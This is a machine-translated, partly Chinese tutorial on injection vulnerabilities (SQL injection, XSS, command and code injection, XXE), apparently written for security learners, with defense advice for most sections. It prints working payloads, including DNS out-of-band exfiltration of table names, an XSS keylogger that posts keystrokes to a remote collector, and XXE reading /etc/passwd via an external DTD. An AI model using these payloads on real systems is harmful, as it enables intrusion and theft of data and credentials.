2021 OWASP TOP 3: Injection Vulnerabilities


Foreword:

Injection vulnerability is the top brother in the previous OWASP TOP 10, and it is also one of the most deterrent types of vulnerabilities in the past ten years. Common injection vulnerabilities include SQL injection, command injection, XSS code injection, etc.

From an abstract definition, the essence of an injection attack is the confusion between the data segment and the instruction segment. The attacker inserts a malicious instruction into the input that should have been a data segment, and executes the malicious instruction as code at the same time.

1. SQL injection

1. SQL injection starting method

SQL injection is one of the most dangerous types of vulnerabilities in the field of web security. On the one hand, the process of exploiting SQL injection vulnerabilities is relatively simple. On the other hand, SQL injection vulnerabilities may lead to security risks such as database theft, data tampering and erasure. In more serious cases, SQL injection can pass malicious commands through the application, control the operating system hosting the database, and use this as a jumping point to successfully enter the intranet. This section mainly summarizes the hazards of SQL injection and the practical techniques of SQL injection.

1) The harm of SQL injection

First of all, the conventional understanding is that SQL injection will leak our data, which is also the basic utilization method of SLQ injection.

For example, the following URL is a personal information editing page of a mall, which is used to edit, display and store personal information. Usually, its URL address is as follows:

https://example.com/user_info?username=W0ngk

Usually in this case, the corresponding SQL statement is as follows:

SELECT * FROM users WHERE username = 'W0ngk';

If we change the format of username to a SQL statement, such as this:

user_info?username=Tets' or '1'='1

In this way, does our SQL statement become as follows:

SELECT * FROM users WHERE username = ‘W0ngk' or '1'='1';

Obviously this is a permanent method, which can query the information of all users in our database.

The above example is a simple example of data leakage caused by SQL injection, but in addition to leaking data, we can also modify program logic through SQL injection, such as our common login box "universal password".

First, let's take a look at the regular login authentication SQL statement:

SELECT * FROM users WHERE username = 'W0ngk' and password = 'W0ngk';

In this case, if the result is found, the login is successful, otherwise, the login fails. But if we construct the data for validation:

username=W0ngk' or '1'='1&password=W0ngk

At this point our SQL statement is as follows:

SELECT * FROM users WHERE username = 'W0ngk' or '1'='1' and password = 'ErrorPasswd';

Obviously, this is also a permanent method, and the data must be queried, so that we can log in successfully.

2) SQL injection combat techniques

  • Determine the database type by reporting an error

    不同种类的数据库,报错格式是不一样的,我们可以通过报错信息来观察数据库的类型:
    mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version ...
    MSsql: Microsoft SQL Native Client error ...
    SqlLite: Query failed: ERROR: syntax error at or near ...
    
  • Different databases have different methods of querying the version number

    SELECT @@version; -- Microsoft, MySQL
    SELECT * FROM v$version; -- Oracle
    SELECT version(); -- PostgreSQL
    
  • Query the table, column and other information of the database through the infoemation_schema library

    SELECT * FROM information_schema.tables;
    SELECT * FROM information_schema.columns WHERE table_name = 'users';
    SELECT * FROM all_tables; -- For Oracle
    SELECT * FROM all_tab_columns WHERE table_name = 'USERS'; -- For Oracle
    
  • Some simple ways to detect the existence of SQL injection

    方法1:在参数后面传入特殊字符,比如单引号、双引号、分号、注释符等
    方法2:对于数字型参数,使用加减运算,判断运算符是否执行,比如 id=123-10。如果执行的结果是113对一个的结果,说明存在漏洞
    方法3:通过 or 1=1 ,and 1=1 ,and 1=2-1, or '1'='1'等方式判断and或者or语句能否执行。
    

2. SQL injection attack and defense practice

Before analyzing the SQL injection attack and defense event technology, we need to understand the types of SQL injection:

insert image description here

It can be seen that SQL injection is divided into many different types according to different scenarios, and the corresponding types also have different injection and utilization methods.

1) Union joint injection

When there are SQL injection vulnerabilities that can be used in the SELECT statement, you can use the union injection method to perform SQL injection, combining two queries into one result or result set.

For example, the following example is a simple information query statement:

SELECT Name, Phone, Address FROM Users WHERE Id=$id
# http://www.example.com/product.php?id=10

If we construct the value of the id parameter as follows:

?id=-1+union+select+databse(),version(),user()

Then the entire query statement will become the following situation:

SELECT Name, Phone, Address FROM Users WHERE Id=-1+union+select+databse(),version(),user()

Since the Sql query id=-1 before the union can not find the result, the query result after the union will be displayed, and the database name, database version and database connection user can be queried.

By observing the above, we can see that the data after our union joint query has a total of three fields in the query. Why do we need to search for three fields? In fact, it is because we need to ensure that the number of query fields is consistent before and after our union joint query, and In our original SQL query, it is the three fields of the query, so we also need to query the three fields in the union statement. If we only want to query one or two fields, we can use constants for other fields to take place. Like this:

?id=-1+union+select+databse(),1,2  -- 使用1和2进行占位

But in the above example, we can guide that the number of fields queried in the original SQL statement is 3, but we don’t know the specific number of fields in the real test environment, so how to judge? Here we use the order by statement of sql. For example:

SELECT Name, Phone, Address FROM Users WHERE Id=1 ORDER BY 5

Among them, ORDER BY 5 means that the acquired data will be sorted according to the fifth field. If the number of fields is less than 5, an error will be reported; if the output can be obtained normally, then it can be inferred that the number of fields is not less than 5. By incrementally modifying the value after ORDER BY, we can successfully deduce the number of fields.

After obtaining the number of fields, we can use the union joint query to make use of it, but there is a problem that if the corresponding field data types before and after the union are different, an error will also be reported, so in order to avoid this situation, we can directly use it as above Similarly, set the judgment parameter id in front of the union to data that cannot be queried (such as a negative number), so as to ensure that our union query data is unique, and there will be no error reports of different types.

2) Boolean Blind Note

When the application can be attacked by injection, but the response content it feeds back does not contain relevant SQL query results or detailed information about database errors, joint injection will become invalid. At this time, we can use blind injection.

There are also many ways to use blind injection. If the application can respond differently based on whether the content is queried, then we can use blind injection. For example, the website designer makes an error interface, which does not return the specific error message of the SQL statement, but only returns the error code, such as HTTP 500 and the like. At this time, we can bypass this obstacle through appropriate reasoning, and finally successfully obtain the data we want.

First, let's analyze some functions that may be used for Boolean blind injection:

substring(text, start, length)  # 在“text”中从索引为“start”开始截取长度为“length”的子字符串,如果“start”的索引超出了“text”的总长度,那么该函数返回值为“null”。
ascii(char)   # 获取“char”的 ASCII值,如果“char”为“null”,那么该函数返回值是0。
length(text)  # 获取“text”字符串的长度。

Using the above functions, we can perform a simple blind injection vulnerability exploit. For example, in the following example, there is a data table called Users, which contains the fields Id and username. We can use blind injection to enumerate each character value of the database name, and get the complete value by splicing. The following is the first step to judge the database name A statement whether the ASCII value of a character is 97:

SELECT usernam, passsword, status FROM Users WHERE Id='1' AND ascii(substring(database(),1,1))=97 AND '1'='1'

If a correct response is obtained, it means that the ASCII value of the first character of database_name is 97. We can obtain the corresponding character value by querying the ASCII table, and then continue to judge the subsequent characters of database_name. If we get an error response, we can replace the ASCII value until it is a correct response.

In addition, it is worthwhile that if we operate the value according to the above method, it will not work, because we do not know the length of the database_name to be searched. If we keep changing it, it will definitely not work, but we mentioned length above. () function, before guessing each character, you can use this function to judge the length of the result, such as the following situation:

SELECT usernam, passsword, status FROM Users WHERE Id='1' AND length(database())=3 AND '1'='1'

Through the above situation, we can combine the response results to judge whether the length of the database name is 3, if not, we can keep increasing the judgment until we find the correct length value. Then combine the previous method of judging characters one by one to obtain specific data.

3) Time Blind

It’s still the same, let’s take a look at the functions that will be used for time blind injection:

if(exp1,exp2,exp3) # 判断语句,如果第一个语句正确巨执行第二个,否则执行第三个
sleep(n)     #将程序挂起一段时间,n的单位为s
benchmark(exp1,exp2)   # 将一个表达式执行多遍,主要用于开发中测试sql运行速度,可以用作sleep函数的替换,参数1是表达式的执行次数,参数2是要执行的表达式

Let's follow the example of error injection and continue to think deeply. If the application system has good error handling logic, so that no exceptions will be generated when responding to requests, error injection will fail. In this case, we can try time blind injection (also known as delay injection).

The underlying logic of this attack scheme is that the attacker can gain control over the response delay of the server by controlling the injected parameters. This injection method is related to the data management system, and the specific implementation needs to confirm the information of the data management system. The following is an example of time blind injection:

SELECT * FROM products WHERE id_product=10 AND IF(version() like5%, sleep(10),1))--
# http://www.example.com/product.php?id_product=10 AND IF(version() like ‘5%’, sleep(10), 1))--

In this example, the attacker first checks whether the version of MySQL is 5, and if it is judged to be true, the server will delay returning the result by ten seconds.

4) Error injection

First of all, let's talk about the premise of using error injection. Taking the mysql database as an example, the mysql_error() function is used in the program to output an error message before it can be used.

Now that the basic conditions are known, let’s still follow the old rules and look at the commonly used functions for error reporting and injection.

floor(exp1)#对一个数进行向下取整,实际上,单纯的这个数对报错注入作用不大,但是结合其他的函数就会产生报错具体的可以看后面的分析。
updatexml(exp1,exp2,exp3) #第一个参数是一个XML文档对象名称,第二个参数是XPath格式的字符串,第三个参数是string格式的字符串,用于替换查找到的符合条件的数据
extractvalue(exp1,exp2)  #第一个参数是一个XML文档对象名称,第二个参数是XPath格式的字符串

The following SQL statement assumes SQL injection and uses the mysql_error() function to output an error message:

SELECT * FROM products WHERE id_product=$id_product

At this point, we use the floor() function to construct the paylaod, and the situation is as follows after insertion:

SELECT ID,NAME,TIME FROM products WHERE id_product=1 union select 1,2,3 from (select count(*),concat(floor(rand(0)*2),database())x from `users` group by x)a 

Here we use it concat(floor(rand(0)*2),database())as an example to analyze. The first five numbers generated by floor(rand(0)*2) must be 01101, and then spliced ​​with database() later. This is a fixed value, so don’t worry about it. Next, simulate the group by process. When traversing the first row of the users table, first calculate a x=0security, check the temporary table, if it does not exist, calculate x again and insert x=1security; traverse to the second row, calculate a x =1security, already exists in the temporary table, continue to traverse; traverse to the third line, calculate a x=0security, find that there is no in the table, calculate x again and insert x=1security, because a 1security has been inserted just now, so at this time Duplication of the primary key occurs. Then output 1security as an error message, and the attacker can get relevant information.

Then we use the updateXml function for injection analysis, and the constructed payload is as follows:

SELECT ID,NAME,TIME FROM products WHERE id_product=-1 and updatexml(1,concat(0x7e,(select group_concat(database(),version(),user())),0x7e),1)

Here we use group_concat to splice the results of database(), version(), user(), and then use the concat() function to splice the 0x7e symbol at the end to locate the characters we queried, and finally through updatexml( ) function pops out the results of our query. The results of the query are as follows (simulation data):

ERROR 1105 (HY000): XPATH syntax error: '~test,5.7.17,root@localhost~'

Finally, look at the paylaod constructed by the extractvalue() function:

SELECT ID,NAME,TIME FROM products WHERE id_product=-1 and (select extractvalue(1,concat(0x7e,(select database()),0x7e)))

The query result is:

ERROR 1105 (HY000): XPATH syntax error: '~test~'

It is worth noting that:

  • extractvalue() can query the maximum length of the string is 32, if the result we want exceeds 32, we need to use the substring() function to intercept or limit pagination, and we can view up to 32 characters at a time
  • When using concat, you must write database() and other injection statements after the non-compliant xpath (such as 0x7e), because when an error is reported, the output starts from the non-compliant position

5) DNS out-of-band injection

Before learning about DNS out-of-band injection, let's first understand what pan-domain name resolution is:

其实很简单,就是 *. 的所有域名解析到同一 IP,举个例子,talentsec.cn 指向了一个 IP,在使用了泛域名解析技术的情况下,test.talentsec.cn 也会指向同一个 IP 地址。 

DNS out-of-band injection is a technique for retrieving data using a different channel (for example, establishing an HTTP connection to send the result to a web server, etc.). This method uses the capabilities of the DBMS to perform an out-of-band join and pass the results of the injected query to the attacker as part of the request. Similar to error injection, each database management system has its own unique functions, and we need to confirm the information of the database management system. Here is an example of a DNS out-of-band injection:

SELECT * FROM products WHERE id_product=$id_product

#http://www.example.com/product.php?id_product=-1+and+(select%20load_file(concat('\\\\',(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%201,1),'.1bwr3jo.ceye.io\\aa.txt')))%20--+

The payload uses the loadfile function where it can read a file on a remote machine via a UNC path. Its parameter is the UNC path concatenated by the concat function. Since \ represents the meaning of escape, the actual concatenation is \{query_result}.1bwr3jo.dnslog.cn\aa.txt, where {query_result} is the query result, According to the principle of generic domain name resolution, the request will be recorded by 1bwr3jo.dnslog.cn.

insert image description here

Three points worth noting:

1:上述例子为GET注入,空格应该使用%20替换,不能使用“+”,否则无法解析
2:利用条件1是msyql的配置文件mysql.ini 中 secure_file_priv 必须为空,默认该选项没有,需要手动加入,所以常规情况下很难遇到
3:利用条件2是由于采用的UNC路径解析的方式来外带数据,所以需要具有smb服务,也就是说操作平台局限在了windows平台下,毕竟几乎没有linux系统会安smb服务

6) Stored procedure injection

In stored procedures, if the application system uses SQL input interactively with the user, the program must consider the risk of injection. Developers need to strictly judge the legality of user input to eliminate the risk of code injection. If the risk is not cleaned, stored procedures can be contaminated with malicious code entered by users.

The following code is an example of stored procedure injection:

Create
procedure get_report @columnamelist varchar(7900)
As
Declare @sqlstring varchar(8000)
Set @sqlstring = 'Select * ' + @columnamelist + ' from ReportTable'
exec(@sqlstring)
Go

If the user enters something like this:

from users; update users set password = ‘password’; select *

The above code will assign the user's input to @sqlstring, which will be executed in the subsequent stored procedure, causing the password of all users to be changed to password.

This method is similar to stack injection, but it is actually operated in a stored procedure, so some data say that stored procedures can prevent SQL injection, and there is still an injection risk in the case of splicing parameters.

3. SQL injection defense

Using parameterized queries (precompiled) instead of string concatenation queries can avoid most of the SQL injection security risks. The implementation principle of this method is actually very simple. The SQL statement using parameterized query will be pre-compiled, and the SQL engine will perform syntax analysis, generate a syntax tree, and generate an execution plan in advance. After these preprocessing, no matter what is input later, only It will be treated as a string literal value parameter and will not affect the grammatical structure of SQL, so it is an excellent SQL injection defense scheme.

For example, the following code uses string concatenation query, so it is vulnerable to SQL injection attacks:

String query = "SELECT account_balance FROM user_data WHERE user_name = " +request.getParameter("customerName");
try {
    
    
    Statement statement = connection.createStatement( ... );
    ResultSet results = statement.executeQuery( query );
}

Through the optimization scheme of parameterized query as follows, the code can effectively avoid user input from interfering with the query structure:

String custname = request.getParameter("customerName");String query = "SELECT account_balance FROM user_data WHERE user_name = ?";PreparedStatement pstmt = connection.prepareStatement( query );pstmt.setString(1, custname);ResultSet results = pstmt.executeQuery();

Although parameterized query is a very good SQL injection defense solution, it is not a perfect solution. When untrusted input appears as a value in a query statement, it is more appropriate to use parameterized queries to process it, such as WHERE clauses and values ​​​​that appear in INSERT or UPDATE statements.

However, this method is no longer applicable when untrusted input appears elsewhere in the query statement, such as table names, column names, or ORDER BY clauses. Putting untrusted data into these locations requires a different approach to avoid injection attacks. For example, whitelisting allowed input values, or using safer logic to achieve our needs. Input validation using a whitelist is also a feasible and elegant defense scheme.

Input validation is the most appropriate defense if bind variables are used in SQL queries, such as table or column names, and sorting, order indicators (ASC or DESC). It should be noted that usually the name of the table or column should come from the code rather than the user, but if the user parameter value is used to specify a different table name and column name, then the parameter value should be mapped to the legal or expected table name or column name to ensure that user input is validated before appearing in the query.

The following is an example of data table name validation:

String tableName;
switch(PARAM):
  case "Value1": tableName = "fooTable";
                 break;
  case "Value2": tableName = "barTable";
                 break;
  // ...
  default      : throw new InputValidationException("unexpected value provided for table name");

The tableName in the example can be added directly to the SQL query, as it is now one of the legitimate expected values ​​for a table name in this query.

When none of the above is possible, we can also escape user input before putting it in the query. For example, use mysql_real_escap_string() or adshelescahrs(). However, this technique should only be used as a last resort, and is generally only recommended when implementing input validation is not cost-effective. Because this approach is weak compared to other defenses, we cannot guarantee that it will successfully prevent SQL injection in all cases.

Two, XSS injection

1. Basics of XSS attacks

XSS is cross-site scripting attack, which is one of OWASP TOP10. Its full name is Cross-site scripting, and it is abbreviated as XSS because the abbreviation of CSS has already been taken. This is where the name XSS comes from.

The principle of XSS attack is that the browser executes the malicious content entered by the user as a script, which leads to the execution of malicious functions. This attack against the user's browser is a cross-site scripting attack. Its attack methods can be divided into three types, and I have listed them in the figure below.

[External link picture transfer failed, the source site may have an anti-leeching mechanism, it is recommended to save the picture and upload it directly (img-pem9k0eo-1657294063079)(img/7172a54a6f8ffdc207a8c28e3e474304.png)]

2. Reflected XSS

When an application receives user input directly as part of the HTML output without validation or escaping, an attacker can enter some JavaScript script that causes the victim's browser to execute arbitrary JavaScript code. This is a reflective XSS attack. The reason why it is called a reflective XSS is that this kind of attack requires the user to provide a malicious input, and then the page reflects based on this to execute the attack command.

First let's look at a simple example (XSS-labs-level1):

insert image description here

This is the first level of a basic XSS vulnerability test range. It can be seen that there is a GET parameter name in the above range for us to input. We pass in a regular XSS test paylaod: After that, a successful pop-up window is found, but it is different from ours ?name=<script>alert("XSS")</script>and Talking about an "XSS" is not the same. This is because the author of the shooting range redirected all the pop-up windows to look like the following at the beginning of the design.

insert image description here

At this point, let's take a look at the source code and find that it has been successfully inserted into the html source code:

insert image description here

Let's look at the next example:

insert image description here

It can be seen from the figure above that we inserted the XSS code referring to the first level, but it did not take effect. Instead, it is output to the result page as it is. We then looked into the source code (the position of the third box) and found that the content we entered was wrapped in the h2 tag. Then can we enter the label symbol to close the previous label like testing the SQL vulnerability? Here we have a try:

insert image description here

Obviously, we failed to try to close the h2 tag here, but we tested that our input content was displayed in the input box and was truncated into two parts. What is the reason? Let me take a look at the source code:

insert image description here

It can be seen that in our input box, the input content is closed into the program code as Html code, causing the data we input to be misplaced. Then we can use the input input box to close it and then execute XSS Is the attack code:

insert image description here

It can be seen that we have successfully closed the input tag and executed the XSS code.

From the above content, we can know that reflected XSS has the characteristics of non-persistence, because the user must click the link with malicious parameters to cause this attack. At the same time, its scope of influence is very small, and only those users who click on malicious links will be attacked by it.

3. Stored XSS

The non-persistent XSS is mentioned above, here we will take a look at the persistent XSS attack.

Stored XSS means that an application obtains unreliable data through a web request, and stores it in the database without checking whether the data contains XSS codes. When the data is fetched from the database next time, the program does not filter it, so that the page executes the XSS code again. Unlike reflected XSS, stored XSS can continuously attack users.

If an attacker wants to launch a stored XSS attack, he first needs to upload the malicious code. The uploading locations mainly include message boards, comment areas, user avatars, personalized signatures, and blogs. If the web application does not restrict uploaded content and stores that content in the database, then stored XSS succeeds in its first step.

Next, to make the stored XSS attack effective, the web application needs to read the previously stored malicious code. This is very simple, such as our message board, everyone who opens the website will load the content of the message board, so as to read the malicious code in the database and cause an attack. Then the second step will be successful.

Let's look at an example:

insert image description here

In this example, we enter and <script>alert(1)</script>click upload, and then the page will be refreshed, and a warning box 1 will pop up, after which every time this page is accessed, it will cause the execution of malicious commands.

From the result, we know that our malicious command was successfully executed, which means our malicious input was uploaded to the database, and the web application read it and parsed it.

Based on our understanding of stored XSS attacks, it is not difficult to know that its harm is much higher than that of reflected XSS attacks. Because its scope of influence is much higher than that of reflected XSS, it will affect all users who visit the attacked web page.

4. DOM type XSS

First of all, we need to know what is DOM. DOM is the document object model, which can parse the document into a structural collection consisting of nodes and objects (objects containing properties and methods). Simply put, it connects Web pages and scripts.

DOM-type XSS attack is actually a special type of reflection-type XSS, which uses JavaScript to manipulate the DOM tree to dynamically output data to the page without relying on submitting data to the server. It is a vulnerability based on the DOM document object model.

The attack method of DOM-type XSS is actually very similar to reflection-type XSS. They both do not control the input and insert JavaScript scripts as output into HTML pages. The difference is that after the reflection-type XSS is processed by the back-end language, the page reference back-end output takes effect. The DOM-type XSS is inserted into the page after direct manipulation of the DOM tree by JavaScript. Compared with reflective XSS attacks, it is more harmful because it does not pass through the backend, so it can bypass the detection of Waf.

Let's learn about DOM-type XSS through a practical example:

insert image description here

After opening, we found a selection box, we cannot enter from here, by clicking the Select button, we can find from the link that it is a parameter uploaded through GET.

http://www.example.com/vulnerabilities/xss_d/?default=English

This gives us the opportunity to enter, and then further observe the source code of the page, to analyze this:

if (document.location.href.indexOf(default=) >= 0) {
    
    
    var lang=document.location.href.substring( document.location.href.indexOf(default=)+8);
    document.write(<option value=‘” + lang + “’>+ decodeURI(lang) +</option>);
    document.write(<option value=‘’ disabled=‘disabled’>——</option>);
}

From the source code, we know that this page belongs to DOM-type XSS attack, it has not been processed by the backend, and the input is directly displayed on the page with the document.write function, and there is no restriction. So we can execute our attack command with the following link:

http://www.example.com/default=<script>alert(1)</script>

It can be seen that the XSS code has been successfully executed on our target machine.

insert image description here

5. The danger of XSS attack

The hazards of XSS attacks mainly include four types, and I have organized them in the figure below, which are cookie stealing, keystroke logging and phishing, advertisement implantation, and spoofing redirection.

insert image description here

Stealing cookies:

Cookie means dessert and biscuit in English, but stealing cookie here does not mean stealing biscuit. In the HTTP request, the cookie represents the login information. After we successfully log in to the web application, the server will generate a cookie. Then the server will send the generated cookie to us for our subsequent visits.

If the attacker gets the cookie information, he can log in to our account, which is very dangerous, so we usually need to protect our cookie information.

Keylogging and Phishing:

The principle of this attack is that the JavaScript file in the remote address can be called through the js code, so that the code in keylogger.js is executed. The content of keylogger.js here is:

document.onkeypress = function(evt) {
    
    
    evt = evt || window.event;
    key = String.fromCharCode(evt.charCode);
    if(key) {
    
    
        var http = new XMLHttpRequest();
        var param = encodeURI(key);
        http.open("POST","http://192.168.3.193/keylogger.php",true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        http.send("key="+param);
    }
}

Its function is to create an event to monitor keystrokes, which can record every key pressed by the user on the current page, and upload the received keystrokes to the server used by the attacker to store keystroke records through POST.

The code of keylogger.php is:

<?php
  $key=$_POST['key'];
  $logfile="keylog.txt";
  $fp = fopen($logfile,"a");
  fwrite($fp,$key);
  fclose($fp);
?>

We can also process this keystroke record, so that users can enter some sensitive information such as account number, password and other information. We can use JavaScript to create a fake login box, so that users are likely to be fooled, enter their user name and password here, and we can use the previous keystroke records to obtain this information. This behavior is a phishing attack.

Of course, XSS also has other attack methods, such as inserting advertisements, hanging horses on web pages, cheating jumps, click hijacking, and so on. If you want to try more attack methods, you can learn how to use the XSS attack platform Beef, so I won’t explain too much here.

6. XSS vulnerability detection and defense

1) XSS detection

In the detection of XSS attacks, we need the help of tools. Now there are a lot of XSS detection tools, which brings us great convenience, and we no longer need manual injection attempts.

Here is XSStrike, most of its payloads are carefully constructed by the author, with an extremely low false positive rate. XSStrike will intelligently generate appropriate payloads for detection based on our input.

For the use of this tool, please see the references at the end of the article.

Here we use this tool to do a small experiment to detect the first level of XSS-labs:

insert image description here

It can be seen that we have actually started testing here, and the scores of the testing and evaluation results are all above 90 points, indicating that there may be loopholes, but it may be a problem with the python version. An error was reported halfway through the run, and the experience is not true. good.

It is also worth noting that some people on the Internet complain that the tool has a problem with cookie handling, and there is no cookie loading option, but in fact there are, and our cookies can be added by using the –headers parameter.

2) XSS defense

Generally speaking, the defense idea for XSS attacks can be summarized in one sentence: filter and intercept the input parameters, and process the output content.

Filtering of input parameters:

由于 XSS 攻击本质上就是 JavaScript 代码的注入,而注入问题的核心就是需要对用户的输入保持怀疑与警惕。针对用户的输入,有两种不同的解决方案,即黑名单过滤和白名单过滤机制。 

Encode the output content:

XSS 攻击生效的原因除了输入外,还有 Web 应用将内容直接放到输出中,导致了 JavaScript 代码的生效。 针对这一点,我们可以将输出中的危险内容进行编码,例如将 < 编码为 &lt,将 > 编码为 &gt,这样就会使得 <script> 变为 &ltscript&gt,自然我们注入的 JavaScript 负载就无法生效,所以这也是可以有效防御 XSS 攻击的。
例如在PHP中,我们就可以使用htmlspecailChars()函数对输出内容进行Html实体编码,从而很好的防御XSS攻击。

Other mitigation methods:

方法一:
加上 Web 应用的响应头 Content-Security-Policy,并将它的内容设置为我们想要实现的策略,这样就能让 CSP 成功生效。关于什么是CSP策略,CSP策略有什么用,情况文末参考资料。
方法二:
对Cookie设置http-only参数,有效防止XSS攻击读取客户端的cookie,避免直接被盗取登录权限。

There are various defenses against XSS vulnerabilities, but there may still be some flaws that lead to our defense measures being bypassed, such as javascript code obfuscation technology, which can well bypass waf detection and blacklist mechanisms. For the javascript obfuscation technology, please refer to the reference materials at the end of the article for a detailed introduction.

3. Command injection

1. System command injection

Command injection means that when only data needs to be input, the attacker constructs the data and enters malicious command codes at the same time, but the system does not filter out the malicious commands, causing the malicious command codes to be executed together, eventually leading to information leakage or normal data being destroyed. destroy.

Among the command injections, the most common one is operating system command injection, and attackers can use this injection attack to execute operating system commands on the server. For example, an attacker can execute the command rm -f to delete some important files.

This type of vulnerability usually occurs when an external program is called to complete some functions. For example, some web management interface functions such as configuring hostname/IP/mask/gateway, viewing system information, shutting down and restarting, or some sites providing functions such as ping, nslookup, sending emails, and converting pictures may have such vulnerabilities.

For example, the following code is to ping an IP address through the exec command:

 if( isset( $_POST[ 'Submit' ] ) ) {
  // Get input
  $target = $_REQUEST[ 'ip' ];
  if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows
    $cmd = shell_exec( 'ping ' . $target );
  }else { //linux
    $cmd = shell_exec( 'ping -c 4 ' . $target );
  } 

It can be seen that the IP address we entered is directly brought to the exe function for execution. For normal users, it may be commanded to enter an IP address to check whether it can be pinged. But for a hacker, his input might look like this:

8.8.8.8 && ls /

At this point our CMD parameters are like this:

 $cmd = shell_exec( 'ping ' . 8.8.8.8 && ls / );

Obviously, our order can be executed. The result is something like this:

insert image description here

Of course, the actual test scenario may not be as simple as in the shooting range, but the principle is the same, but there may be some security protection measures, which makes our attack use not so smooth. But there are always some ways to deal with it. If you are interested, you can take a look at the following reference materials, the summary of command injection bypassing WAF written by the master.

Through the above summary and experiments, we basically understand the principle and utilization method of command injection. In addition, we can also implement command injection in other ways, such as code injection. The following is some learning about code injection.

2. Code injection

Common code injections include Java code injection, PHP code injection, and middleware code injection. Here is a brief summary of PHP code injection as an introduction.

Usually, for the smooth operation of the system, the system designer will allow the user to call the data in it to achieve the desired function. However, when the content entered by the user contains malicious code, this kind of protection against malicious code is not in place, resulting in the execution of malicious code, which is code injection.

Below, is a simple example:

$MessageFile = "messages.out";
if ($_GET["action"] == "NewMessage") {
    
    
  $name = $_GET["name"];
  $message = $_GET["message"];
  $handle = fopen($MessageFile, "a+");
  fwrite($handle, "<b>$name</b> says '$message'<hr>\n");
  fclose($handle);
  echo "Message Saved!<p>\n";
}else if ($_GET["action"] == "ViewMessages") {
    
    
  include($MessageFile);
}

In this example, the programmer wants the message parameter to be data only, containing only the contents of a normal data file. But an attacker can set it to: message=%3C?php%20system(%22/bin/ls%20-l%22);?%3EThis way, PHP will parse the code as <?php system("/bin/ls -l");?>, and execute this code. As a result, this code will run the command ls -l in the /bin/ directory to output the files in this directory and the corresponding permissions. This malicious code will be executed when the user uses the ViewMessages function.

Regarding code injection and command injection, in fact, we should pay more attention to some functions that can execute code or execute commands. Taking PHP as an example, common command execution functions include exec(), shell_exec(), system() and other functions. The code execution functions include eval(), assert(), array_map(), etc.

For more functions of command execution and code execution and a detailed explanation of these functions, please refer to the functions related to code execution and command execution in the document "Analysis of Common Functions for PHP Code Auditing" at the end of the article.

3. Prevention of command injection and code injection

Defense ideas for command injection:

The most effective way to prevent operating system command injection vulnerabilities is to prevent application layer code from calling operating system commands. If it is unavoidable to use user-provided input to invoke operating system commands, then strong input validation must be implemented, such as: whitelist validation, input character type restrictions, and other operations.

Code injection defense ideas:

During the application design phase, we can have the application run code in a sandbox-like environment with strict boundaries between processes and the operating system. This limits its impact on the operating system, preventing it from executing operating system commands. In the implementation phase, we can use the whitelist strategy in input validation for input validation, thereby reducing the possibility of code injection.

4. XML External Entity Injection

XML stands for Extensible Markup Language, and its name comes from the abbreviation of eXtensible Markup Language. Unlike HTML, XML is only designed to transmit and store data, and is not responsible for the display of data. It is widely used in various web applications and provides great convenience for data reading.

However, while XML brings us convenience, it also brings some security issues, which is what we often call XML external entity injection, or XXE vulnerability.

1. First knowledge of XML language

Before learning the XXE vulnerability, we need to understand the XML language first. First, let's look at an XML language example:

# 这是XML声明。
<?xml version="1.0" encoding="ISO-8859-1"?>
# 接下来开始了对存储数据的描述,它的根元素为`note`。
<note id=“1”>
  <data>2022/02/08</data>
  <to>LiYang</to>
  <from>WangHua</from>
  <heading>Email</heading>
  <body>Welcome to China!</body>
</note>  

The first line of the code is the declaration of the XML language, which defines the version of the XML language as 1.0, and the data encoding format adopted is ISO-8859-1 encoding.

After the declaration is completed, it is our data storage part. We can see that it contains many tags, among which the note tag is its root node, and there are many tags under the root node, such as, etc. The names of these tags can be set by <to\us <from>freely , the content in the label is the data corresponding to the label, which can be easily obtained by web applications.

For the XML format, the basic requirement is that the XML document must have a root element, and note is the root element in the above code example. After meeting this requirement, the validation program will check that there must be a closing tag in the XML document, that is, there <data>must be a closing <\data>tag, and the capitalization of the letters in the tag must be consistent. Finally, the validator checks that the XML is properly nested and verifies that the attribute values ​​in its tags are quoted.

When an XML document conforms to the above form requirements, it also needs to meet the grammar rules of a document type definition, namely DTD. The document type definition of DTD is as follows. Here we still use a sample code to help us understand it:

<!DOCTYPE note [
  <!ELEMENT note (date,to,from,heading,body)>
  <!ELEMENT date    (#PCDATA)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]> 

In the above code, the first line defines which type of root element this is a restriction on, as in the above example, it is a restriction on the note type. Then specify which sub-tags are under this node, and define the content of each tag. In the example, the content of each tag is specified as PCDATA, that is, parsed character data.

After completing the writing of the DTD, when the Web application processes the XML document, it will start to judge whether the XML is legal. If it is legal, it will process the document, otherwise it will not continue to process the document. In general, a DTD document can be written in an XML document or imported through an external reference, and its import method is as follows:

<!DOCTYPE note SYSTEM "http://www.example.com/example.dtd">

This code pulls in an external DTD file, which is a security risk here. At this point, you may be wondering if the DTD is just doing some detection work, what security problems will it cause?

In fact, this DTD document also has a function of entity declaration, which is the main reason for the XXE vulnerability we are talking about today.

DTD entities are variables used to define shortcuts that refer to ordinary text or special characters. This may be a bit abstract. Let's look at an example together so that it will be easier to understand.

<?xml version="1.0"?>
<!DOCTYPE example [
#<!ENTITY 实体名称 “实体的值”>
<!ENTITY to "LiHua">
]>
<example>&to;</example>

In the DTD statement of this example, an entity to is defined and its value is LiHua, and then in the XML statement, this entity can be invoked with &to.

This is an internal entity declaration, because the value of the entity has been written in the XML statement, it actually supports external entity declarations, and the specific implementation method is:

#<!ENTITY 实体名称 SYSTEM "URI">
<!ENTITY to SYSTEM "http://example.com/example.dtd">

This function is the culprit of the XXE we are talking about today. The attacker realizes the external entity injection through the DTD external entity declaration.

2. The cause of the XXE vulnerability

If our web application uses XML document transmission or data storage, and allows reference to XML external entities, there may be the possibility of external entity injection:

<!DOCTYPE a [
     <!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>

For example, in the above code, if the page parses the content of the C tag and outputs it, then the attacker will get the content of the passwd file.

Of course, the attacker can also use the DTD document to introduce the external DTD document, and then introduce the external entity declaration, so the required XML content is:

<?xml version="1.0"?>
<!DOCTYPE a SYSTEM "http://evial_ip.com/evil.dtd">
<c>&b;</c>

And the content of our external dtd document is:

<!ENTITY b SYSTEM "file:///etc/passwd">

